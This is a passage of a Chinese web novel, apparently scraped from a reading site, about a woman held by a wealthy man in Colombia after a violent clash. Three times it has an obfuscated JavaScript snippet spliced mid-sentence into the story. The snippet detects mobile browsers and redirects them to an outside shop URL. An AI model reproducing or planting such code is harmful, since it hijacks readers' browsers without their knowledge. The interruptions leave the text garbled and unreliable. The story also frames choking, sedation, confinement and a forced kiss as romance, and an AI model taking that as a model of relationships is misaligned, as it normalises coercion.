眼神彻底冷冽的瞬间,她抬手,一手扣住搭在脖颈上的手,另一手便朝眼前那张脸挥去。刚扣住对方精壮的手腕,还没碰到他的脸,扣在她脖颈和腰间的手同时收紧。下一瞬间,她的半个身子悬空,挂在了栏杆外,摇摇晃晃间,她看清了下方蔚蓝清澈的大海。 海风拂过,吹动了她的长发。原本扣在她脖子上的手绕到颈后,托住她的后脑,给了她支撑的同时也强迫她看着他。 男人戴着墨镜,却依旧难掩优越的骨相,他嘴角勾着笑,那笑容里满是讥讽与凉薄:“会游泳吗?” 被半挂在栏杆外的沈荞没有回答,只是轻轻一笑,反问:“你很喜欢水吗?” 细声细语的语调,阳光下纯稚无暇的笑,让男人脸上的笑一滞,也就是这一滞瞬间,他紧扣在细腰上的手剧烈一痛,骤来的痛楚让他下意识松手,本半挂在栏杆上的瘦小身躯一仰,眼看要坠下去,男人还没来得及反应,衣襟一紧。 平衡骤失,瘦小身躯带着高大身影往蔚蓝海面下坠瞬间,纤细的手臂环上了修长的脖颈。 冰冷的海水瞬间包裹,毫无防备间,海水灌进鼻腔。男人下意识环住攀着他的人,托着她一起浮出海面,结果刚露头,头发一紧。 “不是喜欢水吗?不是喜欢泼我吗?今天让你喝个够!” 轻飘飘的话语间,刚浮出水面的头被狠狠按了回去,纤细的脚踩着结实的身躯逼着他下沉。 奋力挣扎再向上。 “我都给你钻石,很礼貌问你了,你居然掐我下巴!” “让你掐我下巴,让你掐我下巴。” 咕噜咕噜…… 又是一口咸腥海水。 阳光洒在海面上,波光粼粼间,数道黑影砸破海面。 “宋总……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16957771|193206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宋总……” 海面隔绝了声音,一切都显得那么不真切。 * “咳咳咳……” 不算大的甲板上,男人浑身湿透,半坐着轻咳。身边一群同样湿漉的保镖围着他,又是拍背,又是递浴巾。擦到一半,止住咳的男人抬手拨开挡在身前的人,视线落在不远处。 害他如此狼狈的人,此时软软倒在甲板上,她身边,两个保镖捂着鼻子,露出痛苦的神色,还有一个手里正拿着针筒。见他看来,几人急急放下手,放下瞬间,鲜红的血直接从鼻尖流了出来。 看到这一幕,男人起身,身边的保镖连忙劝。 “宋总……我觉得这小姑娘脑子有点……”保镖指了指自己的头,欲言又止。“您就算要和她计较,也得让医生先给您检查检查身体啊。” 已经起身的男人连一个眼神都没给他,径直走去。走到近前,他目光森冷看向拿着针筒的保镖。 “你们现在都能做我的主了?” 拿着针筒的保镖和鼻尖流血的保镖面面相觑,都愣住了。昨夜和刚才的场景历历在目,不管是被保护的目标,还是防备的目标,都不按常理出牌啊。才把人救上来,还没站稳呢,不过眨眼间,他们又挨了两拳,想不伤人,也只有下安定才能控住场面。 一众保镖不敢吱声,森冷视线扫过一圈的男人俯下身子,不费吹灰之力就将人横抱而起。 * “马上带人滚过来。” 正在由医生检查的男人对着手中的卫星电话刚冷声说完这一句,一个卫星电话又递到眼前。冷眸微眯,身边的保镖讪笑着解释:“是辉总的电话。” 森冷视线收回,电话被接过。 “说。” “老板,刚岑怀给我打电话了,问人是不是在您那?” “你和岑怀说的?” “哪能啊……”电话那头的成辉急忙否认,“人把都四周的道路监控都查了,没瞧到人走到路边。就想到进进出出的车了。昨儿晚上,就我们车队的车不在监控下,也没经过检查就走了。小姑娘家里人急坏了,岑怀又联系不上您,所以才找到我的。” “就说没有……” “啊?” “听不懂人话。” “不是!” “那就别废话,还有,把你手下这些废物都弄回去,我一个都不想看到。” 话刚落,电话被摁断。 天黄黄、海蓝蓝,夕阳时分,几架直升机划过,盘旋两圈后稳稳悬停在游艇上空,游艇上的保镖闻声探头正警戒时,数道绳索从直升机上丢下,随后,数道黑影挂在绳索间迅速滑下稳稳落在游艇甲板上。 落地的一众身影穿着整齐统一的黑色蛙服和军靴,寸头,腿长腰窄,身姿挺拔,肩上还戴着熟悉的肩标。一众正警惕甚至枪已经上膛的保镖松口气,为首的保镖迎上前,很自然打招呼。 “来啦。” 立在最中间的男人点头:“老板呢。” “喝酒呢。” “好,这交给我们。你们回去吧。” 回去? 确实得回去,回去挨收拾。 交接完,为首的保镖拉着男人轻声道:“得盯紧那小姑娘啊。身手好是其次,主要是脾气……不点都炸的那种。最好别让她和大老板独处,会出事的……” 孤男寡女相处一室,却不是香艳事,而是人命关天的大事。而且吃亏的只怕也不会是女的,而是…… 一众被骂废物的保镖,就这么离开了。 人昨晚都已经绑得好好的,非要解开,还不让他们近身保护,他们真的……比窦娥还冤。 11. 第 11 章 接替原来保镖工作的,是宋柏的私人贴身保镖队。宋柏做事嚣张,毫无顾忌,明里暗里记恨他的人不少,平时这队保镖都是寸步不离。可前几天家里老太太非闹着要和一群姐妹去非洲看动物大迁移,还要宋柏陪着去。宋柏当然不可能去,但为了不让落下话柄让老太太说他不孝顺,他把自己的私人保镖全给了出去。 本在国内呆着也无大事,临时起兴来了哥伦比亚,安保就用上了成辉手下的人,结果……就是这么一个结果。 领队队长李程送走原来的保镖后,没急着去打扰正喝着酒的老板,而是先开始巡查整座游艇。他的副手许莫言则去看了把他们老板弄伤的人。看完回来,神色怪异。 “老大,就那么个小姑娘,成辉下头的人都弄不住?把老板伤成那样?怪不得老板发飙了……咱接下来怎么整?” 李程巡视完回到甲板听到这句话,面容冷酷,并无多余表情:“让小八和小九轮流看着就行,我们的精力放在别的地方。” 许莫言:“什么地方?” 李程:“来要人的人。” 许莫言先是一愣,然后迅速反应过来,他们在来的路上,早知道了来龙去脉:“老板这是……真要把人扣下了?” 跟了宋柏多年,虽然还没见到人,但深知老板脾性的李程,没有纠正许莫言话里的“扣”字。 扣……是可以赎的。 而这次,赎这个词显然是不存在的。 李程没说话,就在这时,队里年纪最小的小九匆匆而来:“老大,人发烧了。” 先是一桶冰水又是落海,被打了安定的人沉睡着就发了烧。两批人在忙着交接,都没人太在意,发现的时候,脸已经烧得通红。 李程到的时候,随队医生刚检查完。 “温度太高了,得打针,游艇上没药。” 言下之意,要么派人取药,要么送人上岸。李程无法做主,只能去询问老板的意思。 坐在顶层甲板喝酒的男人,听到人发烧了,神色沉了一沉,随即冷声道:“靠岸。” 李程:“最近的港口是卡塔赫纳。” “那就卡塔赫纳。” * 夜色沉沉,游艇靠岸卡塔赫纳,夜色如墨,岸边早已停着等候的车队。李程带人下车检查车辆,许莫言则守在游艇上,收到安全信号后,他就示意小九去把人抱出来。可话没出口,就见身形高大的老板亲自抱着人走了出来。 一路下游艇,许莫言一路紧紧跟随。亲眼看着一路抱着人的老板,在抱着人上车后,把人安置在了自己腿上,拿了自己的外套给盖上后,又那烧红的小脸摁在了肩头。 许莫言此时才终于意识到,他老板不是把人扣下。这架势,是真不打算把人还回去的。 而留下人,估计也不是为了计较,而是…… 思绪还没展开,后脑勺突然被人拍了一下,他回头,撞进一双冷峻的眼眸里。 “你去开路。” 保镖各司其职,车队很快离开码头。 车外夜色深沉,车内灯光柔和。后座的男人低头凝视着怀里的人,一路迎着海风走来,他的脸和手早已冰凉,可怀里的人却依旧滚烫。除了灼热的体温,还有那股曾让他恍惚一瞬的甜腻气息,萦绕在鼻尖。 抬起微凉的手,伸出指尖,他戳了戳近在咫尺的红脸颊。先是烫,再是软。指尖顺着脸颊向上,是她睡梦中不停轻颤的眼皮和浓密眼睫,那细微的颤动划过指尖,带着一丝难以言喻的痒意。 指尖再向下,是小巧精致的下巴。 他掐过,因此她也想把他溺死在水里的下巴。 再往下,是他同样掐过的细腻脖颈,脖颈上还挂着一条耀眼夺目的钻石项链。 摁他下水时,她说她礼貌问了他…… 她的礼貌,就是拿枪指着他,还用命令般的语气和他说话。 再想起这几天全程彬彬有礼,进度有度的男人。他啧了一声。 到底是怎么把妹妹养成这样的? 探手,绕到颈后,轻轻一摁,耀眼的钻石项链就被解下。 “许程。” 坐在前座的人回头,一条亮得晃眼的钻石项链展在他眼前。 “这条项链从没存在过,明白吗?” 许程接过项链:“明白,老板。” * 医生给床上的女孩打完吊瓶,转身给坐在沙发上的男人测量体温。 “您也发低烧了,我先给您拿药,要是体温降不下来,再打针治疗。” 男人没说话,医生默默转身去拿药,和刚巡查完别墅的李程擦肩而过。 “老板,都检查过了,没有问题。您的房间也准备好了,您看……” 话未说完,便被打断。 “不用,我就在这睡。” 李程愣了一瞬,随即恢复如常:“好的,老板。” 沈荞是被疼醒的,不止头疼,浑身的骨头都像是散了架。更让她不适的是,腰间搭着一只沉重的手。昏沉间,她下意识覆上那只手,软声轻哼:“傅英……我疼。” “哪疼?” 身后传来低沉的男声,却绝不是她熟悉的那个声音。 沈荞的意识瞬间回笼,所有记忆汹涌而至。她眼神骤冷,抬手就想给身后人一个肘击,可手臂刚抬到一半,就被死死摁住。与此同时,原本枕在她头下的另一只手臂也反手擒住了她的另一只手。 她就这么被牢牢禁锢在宽厚的怀里,动弹不得。 贴在背脊上的胸膛结实而滚烫,温热的呼吸喷洒在耳侧,沈荞咬着牙,从齿缝里挤出两个字:“放开。” 身后的人非但没有松手,反而禁锢得更紧。 “想回国是吗?” 沈荞一愣,挣扎的动作骤然顿住。身后的人显然察觉到了她的迟疑。 “那就老实一点。” 沈荞沉默了几秒,缓缓点头:“好。” 擒着她的力道渐渐放松,沈荞始终保持着不动的姿势,直到那两只臂膀彻底离开她的身体。她猛地坐起身,抬手就朝着身后的人狠狠扇了一巴掌。 啪—— 清脆的巴掌声在寂静的房间里格外刺耳。 刚抬起头的男人猝不及防,就这么被一巴掌扇回枕头上。原本惺忪的眼神瞬间凝固,再抬眸时,眼底已是一片阴鸷。 他盯着眼前纤细的脖颈,毫不犹豫地抬手掐了上去,微微收力,便将刚起身的人狠狠摁回床垫。随即男人顺势翻身而上,双腿分开半跪着,居高临下地俯视着陷在被子里的小脸。 也就在此时,身下的人屈起膝盖,朝着他两腿之间狠狠撞去。眼看就要命中,一只大掌骤然出现,稳稳挡住了她的膝盖,顺势下滑,轻而易举地握住了她的小腿。与此同时,掐着她脖子的手掌也在缓缓收力。 “你真是活腻了。” 男人的语气森冷刺骨,眼神里的寒意更仿佛要将人吞噬,收紧的手掌也带着致命的压迫感。 他死死盯着身下那双眼睛,试图从中找到惊恐、祈求、柔软……可那里只有一片冰冷的倔强,什么都没有。 收手、下床、开门,不过转瞬之间。 守在门外的许莫言看到老板突然开门出来,先是一愣,随即赫然看清了老板阴沉的脸上那清晰的……巴掌印? 许莫言不确定,想再看清,可老板留给他的已只有背影。他回神,下意识追上去前,叮嘱守在门外的其他人。 “进去看看。” 进去查看的依旧是年纪最小的小九。昨天见到人时,她闭着眼,头发散乱,面容看得不真切。此刻,他才真正看清了她的模样。 巴掌大的脸,因为发烧依旧泛着不正常的红润,一双清澈的眼里,不仅无神,还泛着水光,眼尾更是泛着红。 孤男寡女共处一室,男人带着巴掌印出门,女人这副模样躺在床上,任谁都能猜到大概发生了什么。 小九也是正经人家出生的孩子,虽然这几年跟着老板,去了不少阴暗的场所。但他老板,从来只是冷眼看着,不插手也从不参与,对扑上来的女人更是无情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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命令一下,本快将人逼到角落的一众身影一顿,也就是这一顿的瞬间,白色身影拔腿向大门跑去。 * 沈荞并没有跑出去多远,外头日头正好,她又没穿鞋。伤刚好没多久、才长出嫩肉的脚底压根承受不住外面炽热的地面,况且,她还发着高烧。 踮着脚,昏昏沉沉间,她下意识往前方柔软的沙滩走去。沙滩化去了炽热的温度,也化去了她的全身力气。 沈荞平躺在沙滩上,仰看头顶蓝天。 她只是想回国,只是想呆在姐姐身边而已。 为什么…… 为什么所有人都要和她作对。 为什么…… 她只有姐姐了。 她也只想要姐姐…… 看着蓝天。 看着看着她笑了,笑得灿烂。 看着看着她哭了,哭得无声。 哗哗哗—— 海浪拍打声传来,吸引了她的注意。 大海蔚蓝,让她想起了昨天坠海时的感受。 虽冰冷,却满是包裹感。 想着看着,她起了身,踩着柔软的沙滩,一步步,一步步,她向大海靠近。 冰凉的海水先是漫过她的脚踝,顺着小腿缓缓攀上膝盖,又一点点漫过腰腹,最终抵达脖颈。脚下的触感渐渐虚无,她蜷起身子,将头深深埋下,整个人像被羊水温柔包裹的婴孩一般,沉浸在这片蔚蓝的海水里。 海水涌动,她渐渐下沉,海水隔绝了一切声音,留给她的只有无拘无束的松弛和安宁。在这片宁静中,她渐渐舒展开了身子,也睁开眼。 头顶的蔚蓝海面滤过阳光,闪着细碎的金光,如漫天星辰。而这漫天星辰间,一道黑影悄然穿透光层,向她而来。黑影打破了周遭的静谧,挡住了洒落的微光,下一秒,她被一双有力的臂膀紧紧拥入怀中。 纤细的腰肢被结实的臂膀牢牢扣住,后脑也被一只的大掌轻轻托住,还沉浸在海水温柔怀抱里的她,猝不及防间,双唇被一片柔软温热牢牢堵住。 一口带着清冽酒气的空气,顺着相贴的唇齿渡来,驱散了她胸腔里的窒闷。飘飘浮浮间,她被强劲的力量带着,“哗”一声破水而出。 刺眼的阳光瞬间笼罩而下,让她下意识地眯起了眼。咸湿的海风拂过湿透的脸颊,带着微凉的触感。唇间的柔软依旧紧贴着,没给她任何喘息和反应的时间,带着几分强势和不容抗拒的力道,轻易抵开她的唇关,肆意深入…… 12. 第 12 章 许程带着人,眼睁睁看着白衣身影一步步走进海里,刚想向老板请示,就见他老板迈着长腿大步流星踩过沙滩,径直迈进大海,随即毫不犹豫扎了进去。 深知老板水性,看着老板入水,许程并未急于行动。果然没过多久,湛蓝的海面上,男人的身影便重新浮出水面,怀里还紧紧抱着一个人。两人随着海浪飘荡间,紧紧相拥并相吻着,直到,其中一人昏了过去。 浑身湿透的男人抱着同样湿透却已经昏迷的女人从海里走出,神色阴沉。 “开车。” 李程亲自开车,飞速赶往医院。提前接到通知的医生护士早已候着,看着人被推进检查室,李程才侧头看向身边脸色难看的老板。 在下令放人的时候,李程其实就猜到他老板的心思。一个身无分文甚至鞋都没穿的小姑娘,在这混乱的哥伦比亚,又能跑多远。结果……谁能想到,人压根没跑,而是直接跳进了海里。 说实话,来之前,虽然知道老板被一个小姑娘伤了,但李程也并未多在意。论起来,他老板身手不比他这个专业保镖差。而且有保镖也不让保镖近身,几次三番心慈手软、拉扯,明显是对人是起了兴趣。而现在看,他老板原来可能是趣,如今只怕已经变了味…… 李程:“您要不换个衣服,让医生给您也检查下。” 沉着脸的男人只是淡淡瞥了他一眼,李程便识趣闭了嘴。 没多久,医生走了出来,操着一口流利的英语告知他们,病人肺部并无大碍,落水并未造成影响,昏迷只是因为发烧和体力不支,除了脚底有刚愈合的伤口,身上没有其他外伤。 男人紧绷的神色终于缓和了几分,李程适时上前:“老板,要把人带回去,还是……” “带回去。” 上车前,浑身湿透的男人换了身干净衣服,抱着被护士换上病号服的人径直上了车。这一次,车子没有驶向海边的别墅,而是开往了一处位于古老城墙边的隐蔽庄园。 下车后,李程照例巡查四周,许莫言跟着老板进了庄园。等李程巡查完走进庄园,刚到房间门口,就被许莫言一把拉到了一边。 “老大,老板好像也发高烧了,我不敢劝,你去说说吧。” 李程抬眸看向敞开的房门,满是拉美风情的房间里,昏迷的女人正躺在挂满纱幔的四柱床上,床边医生正架着吊瓶在给她打针。而离床不远的沙发上,身形高大的男人陷在沙发里,目光落在床上,神色莫测。 “好,你去看看小九。” 提到小九,原本还小心翼翼的许莫言探头看了看房里的人,神色变得有些怪异。 “这小姑娘,不是脾气不好,是个疯子。” * 被称作疯子的沈荞,在黄昏时分醒了过来。一睁眼,她就发现自己身处一个全然陌生的环境,手背上扎着输液针,床前站着一个面带微笑的陌生中年女人。 “醒了?别乱动,你发烧了,还在输液呢。” 沈荞绷紧身躯,一边保持着高度警惕,一边快速环顾四周。 “饿坏了吧?我给你熬了粥,我去给你端来。” 女人像没看到沈荞的警惕一样,自顾自说着便转身向外走。沈荞一言不发,在女人关门的瞬间,她才猛地坐起身,一把拔下手背的针头,翻身下床。 赤着脚,她放轻脚步,无声无息走到门边,紧紧贴在门板边。 “老板这次是真遭罪了,好好出门谈个生意,莫名其妙被人拿枪顶着就算了,又受伤又被摁到海里还被扇巴掌。就这样,还要亲自下海救人,自己都发烧了,还一心把人先送到医院。” “是啊,要我说啊,老板就是心太软太好了。如果是我,早就把人给吊起来打一顿了,反正这是在哥伦比亚,真打死了,也没人知道。” “老板现在还高烧不退呢,都多少年没生病了,真是遭罪。” 门内听到对话的人,松了松原本警惕的神色同时露出一丝疑惑。而门外,一左一右立在门边的两个高大保镖,看着手里ipad上清晰的房间监控画面。面面相觑,挤眉弄眼一番后,又异口同声长长叹一口气。 “唉……” 粥很快就端来了,中年女人进门,看到床上的人还躺着,先是笑笑。再走到床边看到那原本该扎在手背的枕头悬在床边,还滴着液,神色稍稍一变后又恢复了自然。 “来,喝点粥。喝了粥,我再让医生来给你量量体温。” 坐在床上的沈荞转眸,眼里警惕少了许多:“你是谁?” 中年女人笑笑:“我啊……你叫我何婶就行。我家那口子是给先生开车的,先生身边都是男人。不方便照顾你,就让我来照顾你几天。” “他在哪?” * 这两天滴水未进,全靠营养液维持的沈荞,喝了一碗温热的粥,胃里有了暖意后也终于见到了人。 半靠在床上的男人,脸颊泛着不正常的潮红,潮红虽掩盖了脸侧的巴掌印,却也给他添了几分病色。而他眼底也没了之前的阴鸷与讥讽,只剩一片平静。 “我会让人通知你哥哥来接你的,至于其他的,我也不会和你计较。” 被保镖送到房间的沈荞刚见到人,一个字还没说,就冷不丁听到这么一句。她下意识反驳:“不行。” 床上的人微抬眼眸,眼神波澜不惊,像是早就料到她的反应。 “留着你,你打人。放你走,你跳海。我还有其他选择吗?” 打人是真,但是跳海…… 沈荞猛地抬头,眼神犀利。 “你亲我了?” “那是人工呼吸,我在救你……” “……不对,出了水你还在亲我!” “你病糊涂了,记错了。” “不可能!” “我有人证。” “真的?” “真的!” 半信半疑的沈荞敛起眼中犀利:“送我回国。” 依旧是这四个字,床上的人轻笑一声:“我为什么要送你回国。你能给我什么?” 沈荞下意识地摸向自己的脖子,却摸了个空。她心头一紧,垂头看着空荡荡的脖颈,再抬头时,眼底又满是戾气:“我项链呢?” “我怎么知道?”男人靠在床头,语调漫不经心,“你跳了两次海,我陪你掉了两次海。说不定哪一次掉海里了,谁能说得清。” 项链没了…… 那她什么也没了…… 沈荞心头一空,站在原地皱起眉。床上的人给了她几秒静思后,又道:“据我所知,你哥哥是美国籍,你应该也是吧。美国籍想进中国,不止需要护照还需要签证,你有吗?即便我真不计较把你带上飞机,你过得了海关吗?” 沈荞抬头,疑惑:“护照?签证?” 沈荞疑惑的神情丝毫不作伪,坐在床上的原本一脸平静的人,见此眼中诧异一闪而过,不过很快又敛去:“你什么都没有,我只能把你还给你哥哥,最起码,他还得赔我点医药费,损失费……” “我给你……” 沈荞急急开口,又被打断。 “你拿什么给?” 房间里陷入沉默。 “算了,你还是个病人。”床上的人软了语气。“等你病好了再说吧。我不急着联系你哥哥。我也累了,你出去吧。” 沈荞呆呆出门,刚走出门,又急急顿住脚步,转身就要折回去,却被守在门口的许程拦住。 “傅小姐,老板需要静养。您先回去吧。” 沈荞没动,只冷眼看着眼前的人。 “你看到我项链了吗?” 沉着脸的李程摇头,语气诚恳:“没有。” 回到房间,医生已经等候多时,又是量体温,又是重新扎针。冰冷的药液顺着血管流入体内,沈荞躺在陌生的床上,很快又沉沉睡了过去。 她刚睡下没多久,隔壁说本要静养的人起了身:“去查查那个傅英。” * 接下来的两天,沈荞都在养着病,她没出房间,也不说话,也没人来打扰她。没人打扰的时候她在沉思。 在来哥伦比亚之前,傅英从没带她出过国,甚至傅英出国、她去闻城前,傅英几乎不让她出别墅。而从国内来到哥伦比亚的全程,她都处于昏迷状态。所以……她根本不知道坐飞机跨国需要什么。 没有护照,没有签证,用来当路费的钻石也没有了,她真的什么都没有了。可即便如此,她也不想回到傅英身边。 “傅小姐,您醒啦,来,吃早饭吧。” 负责照顾她的何婶端着丰盛的早餐进门,这两天她都叫沈荞傅小姐,沈荞也没有纠正她。 她和傅英从不是一个姓,也不是傅英的妹妹。 她现在姓沈,跟姐姐一个姓。 是姐姐的妹妹。 看着面前的丰盛早餐,沈荞并没有动,而是轻声问:“何婶,你知道哪里可以办护照和签证吗?” 何婶愣了一下,然后问:“傅小姐你护照丢啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16957773|193206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 沈荞抿唇不语,何婶继续道:“那得去大使馆补,中国大使馆在波哥大呢。” 中国大使馆…… 对于国内所有人而言,她已经死了,户籍也被注销了,她不再是中国公民,也补不了中国护照。 想到这,内心无名火涌起,沈荞拧眉压了又压,才压住抬手掀了眼前餐盘的冲动,再抬头,她对着何婶浅浅一笑:“能借我电话用一下吗?” 何婶看着眼前乖乖巧巧的小女孩,愣了一下。再回神她说了句“稍等”就出了门,过了好一会儿再进门,她手里拿了个手机。 * 深夜,宋柏从波哥大回到卡塔赫纳的庄园。进门时,已经入睡的何婶听到动静,揉着眼睛走了出来 “先生回来了?吃饭了吗?我给您做点宵夜吧。” “不用了。” 说话间,跟在宋柏身边的李程走到吧台倒了杯酒,递到他手里。宋柏接过酒,双腿交叠坐在沙发上,指尖轻轻摩挲着冰凉的杯壁,沉声道:“她今天给谁打电话了?” “打给了国内闻城的一个号码,不过那号码好像关机了,然后她就没再打了。挂了电话后,饭也不吃了,呆愣愣坐了一天。” “不吃饭?” 何婶点头:“是啊,我怎么劝都没用。高烧刚退就这么饿着,只怕又要生病了。” 刚坐下的男人放下酒杯,径直起身,大步向二楼走去,正要上楼,身边的保镖递来一部手机。 “老板,辉总的电话。” 脚步不停,宋柏接过手机。 “说。” 电话那头是成辉有意压低的声音。 “老板,岑怀带着人堵在我办公室了。” 宋柏神色不动:“把手机给他。” 电话那头传来一阵脚步声,与此同时,宋柏也走到了二楼的一扇房门外,轻轻一拧,房门便开了。房间的露台门大敞着,晚风掀起门边的纱帘,也吹动了露台上人的发丝,她正站在栏杆边,望着远处的城墙,听到开门声后,她微微转身,月光的她,脸上满是茫然。 看着她,宋柏一边放下手机打开免提,一边抬腿往她走去。 刚走近,电话那头再次传来声音,是岑怀:“喂,宋总,不好意思打扰您了。我这几天给您打电话一直没打通,只能来麻烦辉总联系您了。” 宋柏淡淡立定,垂眸看着眼前的人,她的脸色还有些苍白,眼底带着一丝憔悴,却依旧难掩清丽。他一边漫不经心抬手,想捋一捋她额前被风吹乱的碎发,一边对着电话说:“什么事?” 伸出的指尖刚碰上碎发便被躲开,宋柏神色沉了沉,电话那头又传来一道有些陌生的男声:“你好,宋总。我是傅英……” 清清冷冷的声音,就这么在露台上响起,本还蹙着眉躲着男人手的人身体一僵。 宋柏继续伸手,这次,他的手抚上了眼前人的头,而这一次她没再闪躲。摩挲着掌下柔软的乌发,他语调平静:“什么事?” 说完这句,他抬手摁了静音键,既能听清对方电话,又让对方听不清他这边的声音。 “是这样,宋总,我妹妹……您的车……有没有……” 电话那头清冷声音冷静,这头宋柏面色也平静,他任由对方说着,自顾自抚着掌下的头,盯着她清澈的眼眸,轻声问她:“告诉我,他是你哥哥吗?” 僵直着身体的人愣了愣,再抬眼时,眼波平静,随即轻轻摇了摇头,手下发丝抚过他的掌心,带过一丝痒意。 低低一笑,他又问:“想回到他身边吗?” 她依旧摇了摇头,动作很轻,却很坚定。 “那能好好吃饭吗?” 刚回神的人又一愣,本放在她头上的大掌下滑,搭上了她的耳垂,轻轻捏了捏:“好好吃饭,我就不送你回去。” 白皙的小脸微不可见轻轻点了点,此时,电话那头的声音也到了尾声。 “宋总,如果我妹妹在您那,又不小心冒犯了您的话,我给您赔罪。我们之间的生意,您的任何报价我都接受。” 修长的手指再次摁下静音键,取消了静音,本漫不经心的语调也恢复了一贯的冰冷:“真不好意思,傅总。我没见到过您妹妹,况且……傅总,我们之间的生意已经结束了。” 说完,不等电话那头人再说话,他抬手挂断了电话。一直默默立在他身后的李程跨前一步接过电话,空出手的人则微微俯身,视线与眼前人平齐。 “下楼,吃饭。” 13. 第 13 章 前两天还剑拔弩张,清醒时轻则动手,重则跳海,连一秒平静相处都做不到的两个人,此刻相安无事分坐在餐桌两侧。一人端着酒杯浅酌,另一人则怔怔地盯着桌面发呆。偌大的餐厅里没了保镖的身影,只有何婶在一旁安静候着。 “傅小姐,厨房里温着粥,还炖了鸡汤。您是想喝粥,还是用鸡汤给您下碗馄饨?或是您有别的想吃的?” 呆坐着的人缓缓抬头,涣散的眼神慢慢聚焦 “辣子鸡。” 噙着笑意的何婶愣了一下,不敢确定又问了一遍:“您说什么?” “辣子鸡。” 她又重复了一遍,这次不止何婶听清了,连对面慢条斯理品酒的男人,也掀了掀眼皮看向她。 大病初愈的人,哪里能吃这么辛辣的东西? 何婶面露难色,犹豫着没应声,倒是喝酒的男人淡淡开口:“给她做。”顿了顿,他转眸又看向沈荞,“还想吃什么?” “方便面。”三个字一出,不止何婶愣住,连男人也难得地顿了顿。回过神后,他还是朝何婶点了点头。 何婶转身进了厨房,沈荞就安静静坐在桌前等着同时思绪飘散。 在闻城的时候,她生了一次病,陈延给她买了很多的吃的,她却什么也吃不下。最后陈延没办法给她做了一碗方便面,他说他小时候病了没胃口就喜欢吃这一口。那是她第一次吃,确实很好吃。陈延当时还说,只要她以后想吃,他随时给她做。 那么信誓旦旦的陈延,现在电话却打不通了。 沈荞出神时,厨房里何婶打电话让李程送包方便面来。偌大的厨房里,高级食材一堆,就是没有方便面。还好,保镖们出国都会带。 做辣子鸡需要时间,方便面却快。 何婶用浓郁的鸡汤打底,煮了面,还卧了个溏心蛋,加了鲜嫩的虾仁和翠绿的青菜。一碗面端上桌,色香俱全,比沈荞记忆里的味道还要好。 沈荞捧着碗,一言不发吃着,对面的男人也没说话,只是端着酒杯,目光沉沉地看着她一口一口吃。 她吃面的模样乖顺又安静,握着筷子的手腕细得仿佛一折就断。可偏偏性子烈,力气也大。 面吃到一半,红彤彤的辣子鸡端了上来。浓郁的辣椒香瞬间弥漫了整个餐桌,本淡然的男人皱了皱眉。他看着眼前那盘红彤彤的辣子鸡,又看向正要伸筷的沈荞,眉峰几不可察动了动。就在沈荞的筷子即将碰到餐盘的瞬间,他抬手轻轻一拉,将盘子拉到了自己面前。 筷子顿在半空,沈荞抬起头,眼里满是疑惑。 “名字。” 沈荞眼底的疑惑更浓了,男人却语气平淡,一字一句又道:“告诉我,你的名字。” 疑惑渐渐散去,沈荞垂眸,声音轻淡:“沈荞。” 又是姓沈? 男人挑了挑眉,没再多问,将餐盘推了回去同时沉声报了自己的名字:“宋柏。” 他主动自报家门,对面的人却没什么反应,只是平静重新落筷,夹了一块鸡肉。 本就大病初愈,胃口本就不佳,又已经吃了半碗面,虽是她要吃,可此刻面对辣子鸡,沈荞也没了多少食欲。随意夹了两筷子,便放下了筷子。一旁的何婶见状,悄悄松了口气。 “不吃了?” 沈荞放下筷子的同时,对面的男人也放下了酒杯。 沈荞抬头,先对何婶轻声道了句谢谢,才转眸正视着对面的人。两天没见,褪去病气的男人,身上多了几分凛冽。即便他姿态慵懒靠在椅背上,也掩不住骨子里透出的锋芒。换作旁人可能早就挪开眼,可沈荞不会。 她定定看着眼前的男人,语气平静开口:“你能帮我办护照和签证吗?” 男人的目光沉沉落在她脸上,沈荞又道:“等我回了国,给你钱,很多钱。” 他的视线在她身上停留了很久很久,久到沈荞觉得心底都开始发燥。 “好啊。” 简简单单两字,散去沈荞内心的燥意,也让她露出一抹笑,久违的一抹笑。 这抹笑持续到沈荞回到房间,进房间前,她又开口要了一个手机,他也给她了。拿到的手机沈荞真心实意说了句谢谢。 前两天恨不得把人弄死,眼下却道谢的沈荞压根没有注意……准确说是不懂,男人答应帮她办护照,却压根没有问她是到底是什么国籍,又该补哪国护照。 道完谢,沈荞转身回房。 手里的手机是最新款,她琢磨了好一会儿,才摸透基本的用法。 说起来也有些可笑,她拥有无数普通人奋斗一辈子都未必能买得起的东西,却唯独没有过一部属于自己的手机。从前,她没有需要联系的人,傅英几乎天天和她待在一起,就算偶尔出门,也大多会带着她。即便他出远门,也只是让阿峰转接电话。 她真正拥有属于自己的手机,还是大半年前傅英出国,她去闻城的时候。而怎么使用手机,怎么使用手机里的各种软件,都是陈延手把手教她的。 陈延人高马大,捏着还没他手掌大的手机,坐在暖洋洋的阳光下,温声细语教她怎么使用手机里的各个软件。最后又把他的号码存进去,告诉她,要记住他的号码,只要她需要,就给他打电话,他随叫随到。 坐在薄纱飘动的露台,沈荞又一次输入熟记于心的号码。电话那头提示依旧是关机,攥紧手机,沈荞笑笑,笑得莫名。 没关系的,找不到陈延,她还有姐姐。 